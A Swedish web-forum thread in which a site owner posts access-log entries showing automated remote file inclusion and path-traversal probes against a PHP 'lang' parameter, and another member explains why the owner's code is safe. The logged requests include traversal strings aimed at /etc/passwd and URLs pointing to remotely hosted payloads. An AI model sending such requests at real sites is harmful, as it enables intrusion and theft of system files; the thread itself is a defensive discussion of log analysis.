Sida 1 av 1

Intrång eller utnyttjande?

Postat: 21 jan 2008, 01:37
av TicToc
Nu busar de med mig igen. Min sida ligger på en windowsmaskin, så jag antar att jag är inte är så utsatt just nu. Men jag har lite andra otrevligheter i loggen också.
lund.icepage.se - - [20/Jan/2008:22:11:19 +0100] "GET /index.php?lang=http://www.mmgroup.com.sa/n? HTTP/1.1" 200 3768 "-" "libwww-perl/5.65"

lund.icepage.se - - [20/Jan/2008:22:11:19 +0100] "GET /index.php?lang=/etc/passwd HTTP/1.0" 200 3734 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:19 +0100] "GET /index.php?lang=../etc/passwd HTTP/1.0" 200 3738 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:19 +0100] "GET /index.php?lang=../../etc/passwd HTTP/1.0" 200 3744 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:19 +0100] "GET /index.php?lang=../../../etc/passwd HTTP/1.0" 200 3750 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../etc/passwd HTTP/1.0" 200 3756 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../etc/passwd HTTP/1.0" 200 3756 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../../etc/passwd HTTP/1.0" 200 3762 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../../../etc/passwd HTTP/1.0" 200 3768 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../../../../etc/passwd HTTP/1.0" 200 3774 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../../../../../etc/passwd HTTP/1.0" 200 3780 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:20 +0100] "GET /index.php?lang=../../../../../../../../../etc/passwd HTTP/1.0" 200 3786 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=../../../../../../../../../../etc/passwd HTTP/1.0" 200 3792 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=../../../../../../../../../../../etc/passwd HTTP/1.0" 200 3798 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=../../../../../../../../../../../../etc/passwd HTTP/1.0" 200 3804 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=../../../../../../../../../../../../../etc/passwd HTTP/1.0" 200 3810 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=/etc/passwd%00 HTTP/1.0" 200 3736 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=../etc/passwd%00 HTTP/1.0" 200 3740 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:21 +0100] "GET /index.php?lang=../../etc/passwd%00 HTTP/1.0" 200 3746 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../etc/passwd%00 HTTP/1.0" 200 3752 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../../etc/passwd%00 HTTP/1.0" 200 3758 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../../../etc/passwd%00 HTTP/1.0" 200 3764 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../../../../etc/passwd%00 HTTP/1.0" 200 3770 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../../../../../etc/passwd%00 HTTP/1.0" 200 3776 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../../../../../../etc/passwd%00 HTTP/1.0" 200 3782 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:22 +0100] "GET /index.php?lang=../../../../../../../../../etc/passwd%00 HTTP/1.0" 200 3788 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:23 +0100] "GET /index.php?lang=../../../../../../../../../../etc/passwd%00 HTTP/1.0" 200 3794 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:23 +0100] "GET /index.php?lang=../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 200 3800 "-" "Mozilla/5.0"

lund.icepage.se - - [20/Jan/2008:22:11:23 +0100] "GET /index.php?lang=../../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 200 3806 "-" "Mozilla/5.0"
investo.d.active24.se - - [11/Jan/2008:00:55:29 +0100] "GET /start.php?lang=http://www.sajin88.com/bbs/data1/mantaf.txt?? HTTP/1.1" 404 296 "-" "libwww-perl/5.803"

investo.d.active24.se - - [11/Jan/2008:00:55:29 +0100] "GET /start.php?lang=http://www.sajin88.com/bbs/data1/mantaf.txt?? HTTP/1.1" 404 296 "-" "libwww-perl/5.803"

investo.d.active24.se - - [11/Jan/2008:00:55:30 +0100] "GET /start.php?lang=http://www.sajin88.com/bbs/data1/mantaf.txt?? HTTP/1.1" 404 296 "-" "libwww-perl/5.803"

investo.d.active24.se - - [11/Jan/2008:00:55:30 +0100] "GET /start.php?lang=http://www.sajin88.com/bbs/data1/mantaf.txt?? HTTP/1.1" 404 296 "-" "libwww-perl/5.803"
Är det bara för att jag använder mig av php som jag utsetts för detta? Hur farligt är det?

Jag har en liknande tråd fast med annat innehåll)

SV: Intrång eller utnyttjande?

Postat: 21 jan 2008, 01:51
av andol
Japp, allt ser det ut som om någon försöker utsätta dig för lite fuffens. Hurtillvida de lyckas framgår inte av loggen. Är din php-kod välskriven så är den här typen av angrepp inget att oroa sig för.

Har din index.php någon GET-variabel vid namn lang? Hur hanteras i sådant fall dess, såväl som andra variablers, indata? Är du osäker finns alltid snabbtestet att själv mata in lite (o)lämpliga värden.

SV: Intrång eller utnyttjande?

Postat: 21 jan 2008, 19:38
av TicToc
Jag vet inte om jag kan säga att min php-kod är välskriven, men det enda jag gör är att ta två tecken ur $lang, något som jag sedan switchar på, tilldelar variabler på olika språk, sedan echo:ar jag ut detta till html.

Kan jag vara helt lugn för alla försök att skicka med "tokiga" ?lang-argument?

Kod: Markera allt

if (isset($_GET['lang'])) {
$lang = $_GET['lang'];
}
else {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$lang = substr($lang, 0, 2);
}

switch ($lang) {

SV: Intrång eller utnyttjande?

Postat: 21 jan 2008, 20:48
av andol
Japp, du kan vara lugn. I din kod finns det inte något direkt utrymme att vara kreativ med variabelinnehållet.

Det typiska farofallet är annars när GET-variabeln är en sökväg, som skickas direkt till include. Då kan man bli rätt ordentligt skjuten. Särskilt om PHP går med på att inkludera URL:er.